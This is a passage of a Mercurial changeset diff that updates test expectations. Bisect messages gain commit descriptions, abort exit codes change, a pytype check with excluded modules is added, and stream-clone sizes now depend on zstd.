hg bisect -b 4 $ hg bisect -g 0 - Testing changeset 2:db07c04beaca (4 changesets remaining, ~2 tests) + Testing changeset 2:db07c04beaca "msg 2" (4 changesets remaining, ~2 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg bisect -s - Testing changeset 1:5cd978ea5149 (4 changesets remaining, ~2 tests) + Testing changeset 1:5cd978ea5149 "msg 1" (4 changesets remaining, ~2 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg bisect -s - Testing changeset 3:b53bea5e2fcb (4 changesets remaining, ~2 tests) + Testing changeset 3:b53bea5e2fcb "msg 3" (4 changesets remaining, ~2 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg bisect -s Due to skipped revisions, the first bad revision could be any of: @@ -343,7 +343,7 @@ $ hg bisect -r $ hg bisect -g 0 $ hg bisect -b 2 - Testing changeset 1:5cd978ea5149 (2 changesets remaining, ~1 tests) + Testing changeset 1:5cd978ea5149 "msg 1" (2 changesets remaining, ~1 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg bisect -s Due to skipped revisions, the first bad revision could be any of: @@ -372,19 +372,19 @@ $ hg bisect -r $ hg bisect -b 6 $ hg bisect -g 0 - Testing changeset 3:b53bea5e2fcb (6 changesets remaining, ~2 tests) + Testing changeset 3:b53bea5e2fcb "msg 3" (6 changesets remaining, ~2 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg bisect -s - Testing changeset 2:db07c04beaca (6 changesets remaining, ~2 tests) + Testing changeset 2:db07c04beaca "msg 2" (6 changesets remaining, ~2 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg bisect -s - Testing changeset 4:9b2ba8336a65 (6 changesets remaining, ~2 tests) + Testing changeset 4:9b2ba8336a65 "msg 4" (6 changesets remaining, ~2 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg bisect -s - Testing changeset 1:5cd978ea5149 (6 changesets remaining, ~2 tests) + Testing changeset 1:5cd978ea5149 "msg 1" (6 changesets remaining, ~2 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg bisect -s - Testing changeset 5:7874a09ea728 (6 changesets remaining, ~2 tests) + Testing changeset 5:7874a09ea728 "msg 5" (6 changesets remaining, ~2 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg bisect -g The first bad revision is: @@ -473,17 +473,17 @@ $ hg bisect -r $ hg up -qr tip $ hg bisect --command "\"$PYTHON\" \"$TESTTMP/script.py\" and some parameters" - changeset 31:58c80a7c8a40: good + changeset 31:58c80a7c8a40 tip "msg 31": good abort: cannot bisect (no known bad revisions) [20] $ hg up -qr 0 $ hg bisect --command "\"$PYTHON\" \"$TESTTMP/script.py\" and some parameters" - changeset 0:b99c7b9c8e11: bad - changeset 15:e7fa0811edb0: good - changeset 7:03750880c6b5: good - changeset 3:b53bea5e2fcb: bad - changeset 5:7874a09ea728: bad - changeset 6:a3d5c6fdf0d3: good + changeset 0:b99c7b9c8e11 "msg 0": bad + changeset 15:e7fa0811edb0 "msg 15": good + changeset 7:03750880c6b5 "msg 7": good + changeset 3:b53bea5e2fcb "msg 3": bad + changeset 5:7874a09ea728 "msg 5": bad + changeset 6:a3d5c6fdf0d3 "msg 6": good The first good revision is: changeset: 6:a3d5c6fdf0d3 user: test @@ -510,13 +510,13 @@ $ hg bisect -r $ hg bisect --good tip --noupdate $ hg bisect --bad 0 --noupdate - Testing changeset 15:e7fa0811edb0 (31 changesets remaining, ~4 tests) + Testing changeset 15:e7fa0811edb0 "msg 15" (31 changesets remaining, ~4 tests) $ hg bisect --command "sh \"$TESTTMP/script.sh\" and some params" --noupdate - changeset 15:e7fa0811edb0: good - changeset 7:03750880c6b5: good - changeset 3:b53bea5e2fcb: bad - changeset 5:7874a09ea728: bad - changeset 6:a3d5c6fdf0d3: good + changeset 15:e7fa0811edb0 "msg 15": good + changeset 7:03750880c6b5 "msg 7": good + changeset 3:b53bea5e2fcb "msg 3": bad + changeset 5:7874a09ea728 "msg 5": bad + changeset 6:a3d5c6fdf0d3 "msg 6": good The first good revision is: changeset: 6:a3d5c6fdf0d3 user: test @@ -543,17 +543,17 @@ $ hg bisect -r $ hg up -qr tip $ hg bisect --command "sh \"$TESTTMP/script.sh\" and some params" - changeset 31:58c80a7c8a40: good + changeset 31:58c80a7c8a40 tip "msg 31": good abort: cannot bisect (no known bad revisions) [20] $ hg up -qr 0 $ hg bisect --command "sh \"$TESTTMP/script.sh\" and some params" - changeset 0:b99c7b9c8e11: bad - changeset 15:e7fa0811edb0: good - changeset 7:03750880c6b5: good - changeset 3:b53bea5e2fcb: bad - changeset 5:7874a09ea728: bad - changeset 6:a3d5c6fdf0d3: good + changeset 0:b99c7b9c8e11 "msg 0": bad + changeset 15:e7fa0811edb0 "msg 15": good + changeset 7:03750880c6b5 "msg 7": good + changeset 3:b53bea5e2fcb "msg 3": bad + changeset 5:7874a09ea728 "msg 5": bad + changeset 6:a3d5c6fdf0d3 "msg 6": good The first good revision is: changeset: 6:a3d5c6fdf0d3 user: test @@ -586,13 +586,13 @@ $ hg bisect --reset $ hg bisect --good 15 $ hg bisect --bad 30 - Testing changeset 22:06c7993750ce (15 changesets remaining, ~3 tests) + Testing changeset 22:06c7993750ce "msg 22" (15 changesets remaining, ~3 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg bisect --command true - changeset 22:06c7993750ce: good - changeset 26:3efc6fd51aeb: good - changeset 28:8e0c2264c8af: good - changeset 29:b5bd63375ab9: good + changeset 22:06c7993750ce "msg 22": good + changeset 26:3efc6fd51aeb "msg 26": good + changeset 28:8e0c2264c8af "msg 28": good + changeset 29:b5bd63375ab9 "msg 29": good The first bad revision is: changeset: 30:ed2d2f24b11c tag: tip @@ -735,11 +735,11 @@ $ hg bisect --reset $ hg bisect --good . $ hg bisect --bad 25 - Testing changeset 28:8e0c2264c8af (6 changesets remaining, ~2 tests) + Testing changeset 28:8e0c2264c8af "msg 28" (6 changesets remaining, ~2 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg bisect --command true - changeset 28:8e0c2264c8af: good - changeset 26:3efc6fd51aeb: good + changeset 28:8e0c2264c8af "msg 28": good + changeset 26:3efc6fd51aeb "msg 26": good The first good revision is: changeset: 26:3efc6fd51aeb user: test diff -r bc268ea9f984 -r f67b8946bb1b tests/test-bisect2.t --- a/tests/test-bisect2.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-bisect2.t Tue Apr 20 11:01:06 2021 -0400 @@ -252,7 +252,7 @@ $ hg bisect -r $ hg bisect -g 0 $ hg bisect -b 17 # -> update to rev 6 - Testing changeset 6:a214d5d3811a (15 changesets remaining, ~3 tests) + Testing changeset 6:a214d5d3811a "merge 4,5" (15 changesets remaining, ~3 tests) 0 files updated, 0 files merged, 2 files removed, 0 files unresolved $ hg log -q -r 'bisect(pruned)' 0:33b1f9bc8bc5 @@ -274,16 +274,16 @@ 16:609d82a7ebae $ hg log -q -r 'bisect(ignored)' $ hg bisect -g # -> update to rev 13 - Testing changeset 13:b0a32c86eb31 (9 changesets remaining, ~3 tests) + Testing changeset 13:b0a32c86eb31 "13" (9 changesets remaining, ~3 tests) 3 files updated, 0 files merged, 1 files removed, 0 files unresolved $ hg bisect -s # -> update to rev 10 - Testing changeset 10:429fcd26f52d (9 changesets remaining, ~3 tests) + Testing changeset 10:429fcd26f52d "merge 6,9" (9 changesets remaining, ~3 tests) 3 files updated, 0 files merged, 1 files removed, 0 files unresolved $ hg bisect -b # -> update to rev 8 - Testing changeset 8:dab8161ac8fc (3 changesets remaining, ~1 tests) + Testing changeset 8:dab8161ac8fc "8" (3 changesets remaining, ~1 tests) 2 files updated, 0 files merged, 1 files removed, 0 files unresolved $ hg bisect -g # -> update to rev 9 - Testing changeset 9:3c77083deb4a (2 changesets remaining, ~1 tests) + Testing changeset 9:3c77083deb4a "9" (2 changesets remaining, ~1 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg bisect -b The first bad revision is: @@ -350,10 +350,10 @@ $ hg bisect -r $ hg bisect -g 18 $ hg bisect -b 1 # -> update to rev 6 - Testing changeset 6:a214d5d3811a (13 changesets remaining, ~3 tests) + Testing changeset 6:a214d5d3811a "merge 4,5" (13 changesets remaining, ~3 tests) 2 files updated, 0 files merged, 1 files removed, 0 files unresolved $ hg bisect -s # -> update to rev 10 - Testing changeset 10:429fcd26f52d (13 changesets remaining, ~3 tests) + Testing changeset 10:429fcd26f52d "merge 6,9" (13 changesets remaining, ~3 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg log -q -r 'bisect(pruned)' 0:33b1f9bc8bc5 @@ -361,7 +361,7 @@ 6:a214d5d3811a 18:d42e18c7bc9b $ hg bisect -b # -> update to rev 12 - Testing changeset 12:9f259202bbe7 (5 changesets remaining, ~2 tests) + Testing changeset 12:9f259202bbe7 "12" (5 changesets remaining, ~2 tests) 3 files updated, 0 files merged, 1 files removed, 0 files unresolved $ hg log -q -r 'bisect(pruned)' 0:33b1f9bc8bc5 @@ -381,7 +381,7 @@ 13:b0a32c86eb31 15:857b178a7cf3 $ hg bisect -b # -> update to rev 13 - Testing changeset 13:b0a32c86eb31 (3 changesets remaining, ~1 tests) + Testing changeset 13:b0a32c86eb31 "13" (3 changesets remaining, ~1 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg bisect -g The first good revision is: @@ -414,7 +414,7 @@ $ hg bisect -r $ hg bisect -g 1 $ hg bisect -b 16 # -> update to rev 6 - Testing changeset 6:a214d5d3811a (13 changesets remaining, ~3 tests) + Testing changeset 6:a214d5d3811a "merge 4,5" (13 changesets remaining, ~3 tests) 2 files updated, 0 files merged, 2 files removed, 0 files unresolved $ hg log -q -r 'bisect(pruned)' 0:33b1f9bc8bc5 @@ -422,13 +422,13 @@ 16:609d82a7ebae 17:228c06deef46 $ hg bisect -g # -> update to rev 13 - Testing changeset 13:b0a32c86eb31 (8 changesets remaining, ~3 tests) + Testing changeset 13:b0a32c86eb31 "13" (8 changesets remaining, ~3 tests) 3 files updated, 0 files merged, 1 files removed, 0 files unresolved $ hg bisect -s # -> update to rev 10 - Testing changeset 10:429fcd26f52d (8 changesets remaining, ~3 tests) + Testing changeset 10:429fcd26f52d "merge 6,9" (8 changesets remaining, ~3 tests) 3 files updated, 0 files merged, 1 files removed, 0 files unresolved $ hg bisect -s # -> update to rev 12 - Testing changeset 12:9f259202bbe7 (8 changesets remaining, ~3 tests) + Testing changeset 12:9f259202bbe7 "12" (8 changesets remaining, ~3 tests) 3 files updated, 0 files merged, 1 files removed, 0 files unresolved $ hg log -q -r 'bisect(pruned)' 0:33b1f9bc8bc5 @@ -443,10 +443,10 @@ 16:609d82a7ebae 17:228c06deef46 $ hg bisect -g # -> update to rev 9 - Testing changeset 9:3c77083deb4a (5 changesets remaining, ~2 tests) + Testing changeset 9:3c77083deb4a "9" (5 changesets remaining, ~2 tests) 1 files updated, 0 files merged, 1 files removed, 0 files unresolved $ hg bisect -s # -> update to rev 15 - Testing changeset 15:857b178a7cf3 (5 changesets remaining, ~2 tests) + Testing changeset 15:857b178a7cf3 "merge 10,13" (5 changesets remaining, ~2 tests) 3 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg log -q -r 'bisect(ignored)' $ hg bisect -b @@ -500,13 +500,13 @@ $ hg bisect -r $ hg bisect -g 17 $ hg bisect -b 8 # -> update to rev 10 - Testing changeset 13:b0a32c86eb31 (8 changesets remaining, ~3 tests) + Testing changeset 13:b0a32c86eb31 "13" (8 changesets remaining, ~3 tests) 2 files updated, 0 files merged, 1 files removed, 0 files unresolved $ hg bisect -b # -> update to rev 13 - Testing changeset 10:429fcd26f52d (5 changesets remaining, ~2 tests) + Testing changeset 10:429fcd26f52d "merge 6,9" (5 changesets remaining, ~2 tests) 3 files updated, 0 files merged, 1 files removed, 0 files unresolved $ hg bisect -b # -> update to rev 15 - Testing changeset 15:857b178a7cf3 (3 changesets remaining, ~1 tests) + Testing changeset 15:857b178a7cf3 "merge 10,13" (3 changesets remaining, ~1 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg log -q -r 'bisect(pruned)' 0:33b1f9bc8bc5 @@ -524,7 +524,7 @@ 13:b0a32c86eb31 17:228c06deef46 $ hg bisect -s # -> update to rev 16 - Testing changeset 16:609d82a7ebae (3 changesets remaining, ~1 tests) + Testing changeset 16:609d82a7ebae "16" (3 changesets remaining, ~1 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg log -q -r 'bisect(pruned)' 0:33b1f9bc8bc5 @@ -612,7 +612,7 @@ $ hg bisect -r $ hg bisect -b 17 $ hg bisect -g 11 - Testing changeset 13:b0a32c86eb31 (5 changesets remaining, ~2 tests) + Testing changeset 13:b0a32c86eb31 "13" (5 changesets remaining, ~2 tests) 3 files updated, 0 files merged, 1 files removed, 0 files unresolved $ hg log -q -r 'bisect(ignored)' 2:051e12f87bf1 @@ -623,7 +623,7 @@ 9:3c77083deb4a 10:429fcd26f52d $ hg bisect -g - Testing changeset 15:857b178a7cf3 (3 changesets remaining, ~1 tests) + Testing changeset 15:857b178a7cf3 "merge 10,13" (3 changesets remaining, ~1 tests) 3 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg bisect -b The first bad revision is: @@ -665,7 +665,7 @@ 9:3c77083deb4a 10:429fcd26f52d $ hg bisect --extend - Extending search to changeset 8:dab8161ac8fc + Extending search to changeset 8:dab8161ac8fc "8" 2 files updated, 0 files merged, 2 files removed, 0 files unresolved $ hg log -q -r 'bisect(untested)' $ hg log -q -r 'bisect(ignored)' @@ -677,7 +677,7 @@ 9:3c77083deb4a 10:429fcd26f52d $ hg bisect -g # dab8161ac8fc - Testing changeset 9:3c77083deb4a (3 changesets remaining, ~1 tests) + Testing changeset 9:3c77083deb4a "9" (3 changesets remaining, ~1 tests) 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg log -q -r 'bisect(untested)' 9:3c77083deb4a @@ -757,13 +757,13 @@ $ hg bisect -r $ hg bisect -b 13 $ hg bisect -g 8 - Testing changeset 11:82ca6f06eccd (3 changesets remaining, ~1 tests) + Testing changeset 11:82ca6f06eccd "11" (3 changesets remaining, ~1 tests) 2 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg log -q -r 'bisect(untested)' 11:82ca6f06eccd 12:9f259202bbe7 $ hg bisect -g 2 - Testing changeset 11:82ca6f06eccd (3 changesets remaining, ~1 tests) + Testing changeset 11:82ca6f06eccd "11" (3 changesets remaining, ~1 tests) 0 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg log -q -r 'bisect(untested)' 11:82ca6f06eccd diff -r bc268ea9f984 -r f67b8946bb1b tests/test-bisect3.t --- a/tests/test-bisect3.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-bisect3.t Tue Apr 20 11:01:06 2021 -0400 @@ -72,13 +72,13 @@ $ hg bisect --good 4 $ hg bisect --good 6 $ hg bisect --bad 12 - Testing changeset 9:2197c557e14c (6 changesets remaining, ~2 tests) + Testing changeset 9:2197c557e14c "9=8+3" (6 changesets remaining, ~2 tests) 1 files updated, 0 files merged, 1 files removed, 0 files unresolved $ hg bisect --bad 10 - Testing changeset 8:e74a86251f58 (4 changesets remaining, ~2 tests) + Testing changeset 8:e74a86251f58 "8" (4 changesets remaining, ~2 tests) 0 files updated, 0 files merged, 1 files removed, 0 files unresolved $ hg bisect --skip 7 - Testing changeset 8:e74a86251f58 (4 changesets remaining, ~2 tests) + Testing changeset 8:e74a86251f58 "8" (4 changesets remaining, ~2 tests) 0 files updated, 0 files merged, 0 files removed, 0 files unresolved test template diff -r bc268ea9f984 -r f67b8946bb1b tests/test-blackbox.t --- a/tests/test-blackbox.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-blackbox.t Tue Apr 20 11:01:06 2021 -0400 @@ -317,6 +317,17 @@ 1970/01/01 00:00:00 bob @45589e459b2edfbf3dbde7e01f611d2c1e7453d7 (5000)> --debug log -r tip exited 0 after *.?? seconds (glob) 1970/01/01 00:00:00 bob @45589e459b2edfbf3dbde7e01f611d2c1e7453d7 (5000)> blackbox +Skip rotation if the .hg is read-only + +#if unix-permissions + $ chmod -w .hg + $ hg log -r. -T '{rev}\n' --config blackbox.maxsize=1 --debug + warning: cannot rename '$TESTTMP/blackboxtest3/.hg/blackbox.log.1' to '$TESTTMP/blackboxtest3/.hg/blackbox.log': Permission denied + warning: cannot write to blackbox.log: Permission denied + 1 + $ chmod +w .hg +#endif + Test log recursion from dirty status check $ cat > ../r.py <> ../lazylock/.hg/hgrc < [experimental] diff -r bc268ea9f984 -r f67b8946bb1b tests/test-bundle2-remote-changegroup.t --- a/tests/test-bundle2-remote-changegroup.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-bundle2-remote-changegroup.t Tue Apr 20 11:01:06 2021 -0400 @@ -542,7 +542,7 @@ searching for changes remote: remote-changegroup abort: missing support for remote-changegroup - digest:foo - [255] + [100] Missing digest diff -r bc268ea9f984 -r f67b8946bb1b tests/test-casecollision-merge.t --- a/tests/test-casecollision-merge.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-casecollision-merge.t Tue Apr 20 11:01:06 2021 -0400 @@ -145,7 +145,7 @@ $ hg merge abort: case-folding collision between [aA] and [Aa] (re) - [255] + [20] $ hg parents --template '{rev}\n' 4 $ hg status -A @@ -158,7 +158,7 @@ 1 files updated, 0 files merged, 2 files removed, 0 files unresolved $ hg merge abort: case-folding collision between [aA] and [Aa] (re) - [255] + [20] $ hg parents --template '{rev}\n' 2 $ hg status -A @@ -213,7 +213,7 @@ $ hg merge 0 abort: case-folding collision between Aa and directory of aA/a - [255] + [20] (note: no collision between 0 and 00 or 000/f) Directory case-folding collision: @@ -328,7 +328,7 @@ A B $ hg update abort: case-folding collision between [bB] and [Bb] (re) - [255] + [20] $ hg update --check abort: uncommitted changes diff -r bc268ea9f984 -r f67b8946bb1b tests/test-casefolding.t --- a/tests/test-casefolding.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-casefolding.t Tue Apr 20 11:01:06 2021 -0400 @@ -115,7 +115,7 @@ $ hg up A: untracked file differs abort: untracked files in working directory differ from files in requested revision - [255] + [20] $ cat a gold $ rm a diff -r bc268ea9f984 -r f67b8946bb1b tests/test-check-code.t --- a/tests/test-check-code.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-check-code.t Tue Apr 20 11:01:06 2021 -0400 @@ -11,6 +11,7 @@ > -X contrib/python-zstandard \ > -X hgext/fsmonitor/pywatchman \ > -X mercurial/thirdparty \ + > -X mercurial/pythoncapi_compat.h \ > | sed 's-\\-/-g' | "$check_code" --warnings --per-file=0 - || false Skipping contrib/automation/hgautomation/__init__.py it has no-che?k-code (glob) Skipping contrib/automation/hgautomation/aws.py it has no-che?k-code (glob) @@ -65,10 +66,10 @@ COPYING Makefile README.rst - black.toml hg hgeditor hgweb.cgi + pyproject.toml rustfmt.toml setup.py diff -r bc268ea9f984 -r f67b8946bb1b tests/test-check-format.t --- a/tests/test-check-format.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-check-format.t Tue Apr 20 11:01:06 2021 -0400 @@ -1,5 +1,11 @@ #require black test-repo +Black needs the real USERPROFILE in order to run on Windows +#if msys + $ USERPROFILE="$REALUSERPROFILE" + $ export USERPROFILE +#endif + $ cd $RUNTESTDIR/.. - $ black --config=black.toml --check --diff `hg files 'set:(**.py + grep("^#!.*python")) - mercurial/thirdparty/**'` + $ black --check --diff `hg files 'set:(**.py + grep("^#!.*python")) - mercurial/thirdparty/**'` diff -r bc268ea9f984 -r f67b8946bb1b tests/test-check-interfaces.py --- a/tests/test-check-interfaces.py Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-check-interfaces.py Tue Apr 20 11:01:06 2021 -0400 @@ -85,6 +85,7 @@ class dummyrepo(object): def __init__(self): self.ui = uimod.ui() + self._wanted_sidedata = set() def filtered(self, name): pass @@ -113,6 +114,10 @@ def close(self): pass + @property + def closed(self): + pass + def main(): ui = uimod.ui() @@ -243,7 +248,10 @@ # Conforms to imanifestlog. ml = manifest.manifestlog( - vfs, repo, manifest.manifestrevlog(repo.svfs), repo.narrowmatch() + vfs, + repo, + manifest.manifestrevlog(repo.nodeconstants, repo.svfs), + repo.narrowmatch(), ) checkzobject(ml) checkzobject(repo.manifestlog) @@ -258,7 +266,7 @@ # Conforms to imanifestdict. checkzobject(mctx.read()) - mrl = manifest.manifestrevlog(vfs) + mrl = manifest.manifestrevlog(repo.nodeconstants, vfs) checkzobject(mrl) ziverify.verifyClass(repository.irevisiondelta, revlog.revlogrevisiondelta) @@ -272,6 +280,7 @@ flags=b'', baserevisionsize=None, revision=b'', + sidedata=b'', delta=None, ) checkzobject(rd) diff -r bc268ea9f984 -r f67b8946bb1b tests/test-check-module-imports.t --- a/tests/test-check-module-imports.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-check-module-imports.t Tue Apr 20 11:01:06 2021 -0400 @@ -14,6 +14,10 @@ Known-bad files are excluded by -X as some of them would produce unstable outputs, which should be fixed later. +NOTE: the `hg locate` command here only works on files that are known to +Mercurial. If you add an import of a new file and haven't yet `hg add`ed it, you +will likely receive warnings about a direct import. + $ testrepohg locate 'set:**.py or grep(r"^#!.*?python")' \ > 'tests/**.t' \ > -X hgweb.cgi \ diff -r bc268ea9f984 -r f67b8946bb1b tests/test-check-pytype.t --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/test-check-pytype.t Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,104 @@ +#require pytype py3 slow + + $ cd $RUNTESTDIR/.. + +Many of the individual files that are excluded here confuse pytype +because they do a mix of Python 2 and Python 3 things +conditionally. There's no good way to help it out with that as far as +I can tell, so let's just hide those files from it for now. We should +endeavor to empty this list out over time, as some of these are +probably hiding real problems. + +mercurial/bundlerepo.py # no vfs and ui attrs on bundlerepo +mercurial/changegroup.py # mysterious incorrect type detection +mercurial/chgserver.py # [attribute-error] +mercurial/cmdutil.py # No attribute 'markcopied' on mercurial.context.filectx [attribute-error] +mercurial/context.py # many [attribute-error] +mercurial/copies.py # No attribute 'items' on None [attribute-error] +mercurial/crecord.py # tons of [attribute-error], [module-attr] +mercurial/debugcommands.py # [wrong-arg-types] +mercurial/dispatch.py # initstdio: No attribute ... on TextIO [attribute-error] +mercurial/exchange.py # [attribute-error] +mercurial/hgweb/hgweb_mod.py # [attribute-error], [name-error], [wrong-arg-types] +mercurial/hgweb/server.py # [attribute-error], [name-error], [module-attr] +mercurial/hgweb/webcommands.py # [missing-parameter] +mercurial/hgweb/wsgicgi.py # confused values in os.environ +mercurial/httppeer.py # [attribute-error], [wrong-arg-types] +mercurial/interfaces # No attribute 'capabilities' on peer [attribute-error] +mercurial/keepalive.py # [attribute-error] +mercurial/localrepo.py # [attribute-error] +mercurial/lsprof.py # unguarded import +mercurial/manifest.py # [unsupported-operands], [wrong-arg-types] +mercurial/minirst.py # [unsupported-operands], [attribute-error] +mercurial/patch.py # [wrong-arg-types] +mercurial/pure/osutil.py # [invalid-typevar], [not-callable] +mercurial/pure/parsers.py # [attribute-error] +mercurial/pycompat.py # bytes vs str issues +mercurial/repoview.py # [attribute-error] +mercurial/sslutil.py # [attribute-error] +mercurial/statprof.py # bytes vs str on TextIO.write() [wrong-arg-types] +mercurial/testing/storage.py # tons of [attribute-error] +mercurial/ui.py # [attribute-error], [wrong-arg-types] +mercurial/unionrepo.py # ui, svfs, unfiltered [attribute-error] +mercurial/upgrade.py # line 84, in upgraderepo: No attribute 'discard' on Dict[nothing, nothing] [attribute-error] +mercurial/util.py # [attribute-error], [wrong-arg-count] +mercurial/utils/procutil.py # [attribute-error], [module-attr], [bad-return-type] +mercurial/utils/stringutil.py # [module-attr], [wrong-arg-count] +mercurial/utils/memorytop.py # not 3.6 compatible +mercurial/win32.py # [not-callable] +mercurial/wireprotoframing.py # [unsupported-operands], [attribute-error], [import-error] +mercurial/wireprotoserver.py # line 253, in _availableapis: No attribute '__iter__' on Callable[[Any, Any], Any] [attribute-error] +mercurial/wireprotov1peer.py # [attribute-error] +mercurial/wireprotov1server.py # BUG?: BundleValueError handler accesses subclass's attrs +mercurial/wireprotov2server.py # [unsupported-operands], [attribute-error] + +TODO: use --no-cache on test server? Caching the files locally helps during +development, but may be a hinderance for CI testing. + + $ pytype -V 3.6 --keep-going --jobs auto mercurial \ + > -x mercurial/bundlerepo.py \ + > -x mercurial/changegroup.py \ + > -x mercurial/chgserver.py \ + > -x mercurial/cmdutil.py \ + > -x mercurial/context.py \ + > -x mercurial/copies.py \ + > -x mercurial/crecord.py \ + > -x mercurial/debugcommands.py \ + > -x mercurial/dispatch.py \ + > -x mercurial/exchange.py \ + > -x mercurial/hgweb/hgweb_mod.py \ + > -x mercurial/hgweb/server.py \ + > -x mercurial/hgweb/webcommands.py \ + > -x mercurial/hgweb/wsgicgi.py \ + > -x mercurial/httppeer.py \ + > -x mercurial/interfaces \ + > -x mercurial/keepalive.py \ + > -x mercurial/localrepo.py \ + > -x mercurial/lsprof.py \ + > -x mercurial/manifest.py \ + > -x mercurial/minirst.py \ + > -x mercurial/patch.py \ + > -x mercurial/pure/osutil.py \ + > -x mercurial/pure/parsers.py \ + > -x mercurial/pycompat.py \ + > -x mercurial/repoview.py \ + > -x mercurial/sslutil.py \ + > -x mercurial/statprof.py \ + > -x mercurial/testing/storage.py \ + > -x mercurial/thirdparty \ + > -x mercurial/ui.py \ + > -x mercurial/unionrepo.py \ + > -x mercurial/upgrade.py \ + > -x mercurial/utils/procutil.py \ + > -x mercurial/utils/stringutil.py \ + > -x mercurial/utils/memorytop.py \ + > -x mercurial/win32.py \ + > -x mercurial/wireprotoframing.py \ + > -x mercurial/wireprotoserver.py \ + > -x mercurial/wireprotov1peer.py \ + > -x mercurial/wireprotov1server.py \ + > -x mercurial/wireprotov2server.py \ + > > $TESTTMP/pytype-output.txt || cat $TESTTMP/pytype-output.txt + +Only show the results on a failure, because the output on success is also +voluminous and variable. diff -r bc268ea9f984 -r f67b8946bb1b tests/test-churn.t --- a/tests/test-churn.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-churn.t Tue Apr 20 11:01:06 2021 -0400 @@ -195,3 +195,22 @@ alltogether 11 ********************************************************* $ cd .. + +count lines that look like headings but are not + + $ hg init not-headers + $ cd not-headers + $ cat > a < diff + > @@ -195,3 +195,21 @@ + > -- a/tests/test-churn.t + > ++ b/tests/test-churn.t + > EOF + $ hg ci -Am adda -u user1 + adding a + $ hg churn --diffstat + user1 +4/-0 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ + $ hg rm a + $ hg ci -Am removea -u user1 + $ hg churn --diffstat + user1 +4/-4 +++++++++++++++++++++++++++--------------------------- diff -r bc268ea9f984 -r f67b8946bb1b tests/test-clone-uncompressed.t --- a/tests/test-clone-uncompressed.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-clone-uncompressed.t Tue Apr 20 11:01:06 2021 -0400 @@ -73,7 +73,6 @@ remote-changegroup http https - rev-branch-cache $ hg clone --stream -U http://localhost:$HGPORT server-disabled warning: stream clone requested but server has them disabled @@ -141,7 +140,6 @@ remote-changegroup http https - rev-branch-cache $ hg clone --stream -U http://localhost:$HGPORT server-disabled warning: stream clone requested but server has them disabled @@ -171,7 +169,7 @@ $ killdaemons.py $ cd server - $ hg serve -p $HGPORT -d --pid-file=hg.pid + $ hg serve -p $HGPORT -d --pid-file=hg.pid --error errors.txt $ cat hg.pid > $DAEMON_PIDS $ cd .. @@ -180,16 +178,21 @@ #if stream-legacy $ hg clone --stream -U http://localhost:$HGPORT clone1 streaming all changes - 1027 files to transfer, 96.3 KB of data - transferred 96.3 KB in * seconds (*/sec) (glob) + 1027 files to transfer, 96.3 KB of data (no-zstd !) + transferred 96.3 KB in * seconds (*/sec) (glob) (no-zstd !) + 1027 files to transfer, 93.5 KB of data (zstd !) + transferred 93.5 KB in * seconds (* */sec) (glob) (zstd !) searching for changes no changes found + $ cat server/errors.txt #endif #if stream-bundle2 $ hg clone --stream -U http://localhost:$HGPORT clone1 streaming all changes - 1030 files to transfer, 96.5 KB of data - transferred 96.5 KB in * seconds (* */sec) (glob) + 1030 files to transfer, 96.5 KB of data (no-zstd !) + transferred 96.5 KB in * seconds (*/sec) (glob) (no-zstd !) + 1030 files to transfer, 93.6 KB of data (zstd !) + transferred 93.6 KB in * seconds (* */sec) (glob) (zstd !) $ ls -1 clone1/.hg/cache branch2-base @@ -203,6 +206,7 @@ rbc-revs-v1 tags2 tags2-served + $ cat server/errors.txt #endif getbundle requests with stream=1 are uncompressed @@ -213,39 +217,68 @@ $ f --size --hex --bytes 256 body - body: size=112262 + body: size=112262 (no-zstd !) + body: size=109410 (zstd no-rust !) + body: size=109431 (rust !) 0000: 04 6e 6f 6e 65 48 47 32 30 00 00 00 00 00 00 00 |.noneHG20.......| - 0010: 7f 07 53 54 52 45 41 4d 32 00 00 00 00 03 00 09 |..STREAM2.......| - 0020: 05 09 04 0c 44 62 79 74 65 63 6f 75 6e 74 39 38 |....Dbytecount98| - 0030: 37 37 35 66 69 6c 65 63 6f 75 6e 74 31 30 33 30 |775filecount1030| + 0010: 7f 07 53 54 52 45 41 4d 32 00 00 00 00 03 00 09 |..STREAM2.......| (no-zstd !) + 0020: 05 09 04 0c 44 62 79 74 65 63 6f 75 6e 74 39 38 |....Dbytecount98| (no-zstd !) + 0030: 37 37 35 66 69 6c 65 63 6f 75 6e 74 31 30 33 30 |775filecount1030| (no-zstd 